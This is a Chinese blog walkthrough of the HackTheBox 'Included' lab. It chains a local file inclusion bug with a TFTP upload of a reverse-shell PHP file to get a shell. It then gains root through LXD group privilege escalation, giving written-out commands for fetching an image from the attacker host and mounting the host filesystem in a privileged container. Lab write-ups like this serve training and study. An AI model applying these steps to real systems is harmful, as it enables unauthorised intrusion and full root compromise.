• 组合拳 | 本地文件包含漏洞+TFTP=Getshell




    文章声明

    安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。

    本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转载私信联系。

    文章简介

    本文主要记录从本地文件包含漏洞到获取root权限的过程。

    涉及知识

    1. 本地文件包含漏洞(LFI)
    2. TFTP文件上传
    3. LXD提权

    靶场环境

    1. Hackthebox靶场Included

    2. 靶机: Linux操作系统 IP:10.129.95.185

    3. 攻击机:连接VPN后的IP:10.10.14.15

    演示过程

    首先,我使用nmap进行端口收集:

    nmap -sV -sC -sT -v 10.129.95.185 -Pn

     

    (假如这里有张图)

     

    发现只有80端口开启,访问如下:

    图片.png

    惊奇地发现url地址的传值参数为"?file=/home.php",由于靶场是linux操作系统,我们尝试查看文件/etc/passwd,内容显示如下:

    图片.png

    (这样查看有些混乱,我们用curl看一下)

    图片.png

    到这一步就是一个简单的任意文件读取漏洞,接下来我们通过读取到的内容getshell。

     

    发现tftp用户,敏锐地查询了TFTP协议,如下:

    TFTP(Trivial File Transfer Protocol),简单文件传输协议,TFTP使用UDP协议,TFTP不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,没有列出目录的功能,也不能对用户进行身份鉴别,它传输8位数据。

    根据查到的tftp特性,这次使用nmap进行UDP端口扫描:

    图片.png

    通过TFTP工具直接连接服务器,并上传反弹shell:

    图片.png

    上传木马:

    图片.png

    通过任意文件读取可以得知绝对路径为/var/lib/tftpboot

    图片.png

    通过文件包含漏洞触发木马(访问http://10.129.95.185/?file=/var/lib/tftpboot/shell.php),反弹shell成功。

    图片.png

    查看id,发现权限比较低,继续进行信息收集进而提升权限。

    在/var/www/html路径下信息收集获取到mike用户名和密码:

    图片.png

    切换用户mike获取到用户权限Flag,同时注意到存在的用户组在lxd组(当用户具有lxd权限时,可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限):

    图片.png

     

    接下来进行lxd提权,操作如下:

    攻击机:

    1.下载lxd镜像生成器

    git clone  https://github.com/saghul/lxd-alpine-builder.git

    2.构建镜像

    cd lxd-alpine-builder  
    sudo ./build-alpine

    3.开启HTTP服务,下载到靶机上

    python3 -m  http.server 8082 -b 0.0.0.0

    图片.png

    靶机:

    1. 下载攻击机上的alpine-v3.13-x86_64-20210218_0139.tar.gz
    wget http://10.10.14.15:8082/alpine-v3.13-x86_64-20210218_0139.tar.gz

    2. 导入镜像并成功提权

    #导入镜像
    lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz` --alias test

     

    #初始化镜像
    lxc init test test -c security.privileged=true

    #挂载磁盘
    lxc config device add test test disk source=/ path=/mnt/root recursive=true

    #启动镜像
    lxc start test

    lxc exec test /bin/sh

    如果报错就先lxd初始化后在执行上面的操作

    lxd init    # 一路回车

    图片.png

    获取flag

    cat /mnt/root/

    图片.png

     

     

     

     

     

     

     

     

  • 相关阅读:
    单代号搭接网络计划:时间参数的计算
    9.多级缓存、JVM进程缓存、Lua语法
    C++ Reference: Standard C++ Library reference: C Library: cstdlib: EXIT_SUCCESS
    Java基础
    网站优化之favicon.ico
    Java 语言实现简易版扫码登录
    11-【数据库】定义表结构的时间字段的两种方式
    渗透测试之Web安全系列教程(二)
    JDBC 访问数据库
    月薪9K和年薪30W的职位,有什么区别?
  • 原文地址:https://www.cnblogs.com/white-hat/p/idyork.html